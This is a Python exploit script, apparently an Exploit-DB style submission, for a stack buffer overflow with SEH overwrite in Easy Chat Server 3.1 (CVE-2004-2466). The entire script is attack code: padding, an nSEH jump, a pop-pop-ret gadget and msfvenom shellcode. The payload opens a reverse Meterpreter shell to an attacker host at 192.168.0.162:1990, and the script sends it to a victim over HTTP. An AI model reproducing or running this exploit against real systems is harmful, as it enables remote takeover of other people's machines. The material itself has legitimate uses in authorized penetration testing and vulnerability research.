# Exploit Title: Easy Chat Server 3.1 - Remote Stack Buffer Overflow (SEH)
# Exploit Author: r00tpgp @ http://www.r00tpgp.com
# Usage: python easychat-exploit.py <victim-ip> <port>
# Spawns reverse meterpreter LHOST=192.168.0.162 LPORT=1990
# CVE: CVE-2004-2466 
# Installer: http://www.echatserver.com/
# Tested on: Microsoft Windows 11 Pro x86-64 (10.0.22000 N/A Build 22000)

#!/usr/bin/python3

import sys
import socket
from struct import pack

host = sys.argv[1]  # Recieve IP from user
port = int(sys.argv[2])  # Recieve Port from user

junk = b"A" * 217
nseh = pack("<L", 0x06eb9090)  # short jump 6 bytes
seh = pack("<L", 0x1001ae86)  # pop pop ret 1001AE86 SSLEAY32.DLL

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.162 LPORT=1990 -f python -b "\x00\x20" -v shellcode
shellcode = b"\x90" * 16
shellcode += b"\xbf\x74\x46\x81\xa1\xdb\xda\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x0e"
shellcode += b"\x03\x0e\x48\x63\x54\x12\xbc\xe1\x97\xea\x3d"
shellcode += b"\x86\x1e\x0f\x0c\x86\x45\x44\x3f\x36\x0d\x08"
shellcode += b"\xcc\xbd\x43\xb8\x47\xb3\x4b\xcf\xe0\x7e\xaa"
shellcode += b"\xfe\xf1\xd3\x8e\x61\x72\x2e\xc3\x41\x4b\xe1"
shellcode += b"\x16\x80\x8c\x1c\xda\xd0\x45\x6a\x49\xc4\xe2"
shellcode += b"\x26\x52\x6f\xb8\xa7\xd2\x8c\x09\xc9\xf3\x03"
shellcode += b"\x01\x90\xd3\xa2\xc6\xa8\x5d\xbc\x0b\x94\x14"
shellcode += b"\x37\xff\x62\xa7\x91\x31\x8a\x04\xdc\xfd\x79"
shellcode += b"\x54\x19\x39\x62\x23\x53\x39\x1f\x34\xa0\x43"
shellcode += b"\xfb\xb1\x32\xe3\x88\x62\x9e\x15\x5c\xf4\x55"
shellcode += b"\x19\x29\x72\x31\x3e\xac\x57\x4a\x3a\x25\x56"
shellcode += b"\x9c\xca\x7d\x7d\x38\x96\x26\x1c\x19\x72\x88"
shellcode += b"\x21\x79\xdd\x75\x84\xf2\xf0\x62\xb5\x59\x9d"
shellcode += b"\x47\xf4\x61\x5d\xc0\x8f\x12\x6f\x4f\x24\xbc"
shellcode += b"\xc3\x18\xe2\x3b\x23\x33\x52\xd3\xda\xbc\xa3"
shellcode += b"\xfa\x18\xe8\xf3\x94\x89\x91\x9f\x64\x35\x44"
shellcode += b"\x0f\x34\x99\x37\xf0\xe4\x59\xe8\x98\xee\x55"
shellcode += b"\xd7\xb9\x11\xbc\x70\x53\xe8\x57\xbf\x0c\x85"
shellcode += b"\x28\x57\x4f\x69\x14\x81\xc6\x8f\x30\xc1\x8e"
shellcode += b"\x18\xad\x78\x8b\xd2\x4c\x84\x01\x9f\x4f\x0e"
shellcode += b"\xa6\x60\x01\xe7\xc3\x72\xf6\x07\x9e\x28\x51"
shellcode += b"\x17\x34\x44\x3d\x8a\xd3\x94\x48\xb7\x4b\xc3"
shellcode += b"\x1d\x09\x82\x81\xb3\x30\x3c\xb7\x49\xa4\x07"
shellcode += b"\x73\x96\x15\x89\x7a\x5b\x21\xad\x6c\xa5\xaa"
shellcode += b"\xe9\xd8\x79\xfd\xa7\xb6\x3f\x57\x06\x60\x96"
shellcode += b"\x04\xc0\xe4\x6f\x67\xd3\x72\x70\xa2\xa5\x9a"
shellcode += b"\xc1\x1b\xf0\xa5\xee\xcb\xf4\xde\x12\x6c\xfa"
shellcode += b"\x35\x97\x9c\xb1\x17\xbe\x34\x1c\xc2\x82\x58"
shellcode += b"\x9f\x39\xc0\x64\x1c\xcb\xb9\x92\x3c\xbe\xbc"
shellcode += b"\xdf\xfa\x53\xcd\x70\x6f\x53\x62\x70\xba"

buffer = b"GET /chat.ghp?username=" + junk + nseh + seh + shellcode + b"&password=&room=1&sex=1 HTTP/1.1\r\n"
buffer += b"User-Agent: Mozilla/4.0\r\n"
buffer += b"Host: 192.168.143.213:20000\r\n"
buffer += b"Accept-Language: en-us\r\n"
buffer += b"Accept-Encoding: gzip, deflate\r\n"
buffer += b"Referer: http://192.168.143.213\r\n"
buffer += b"Connection: Keep-Alive\r\n\r\n"

print("[*] Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
s.close()
print("[+] Done!")
            
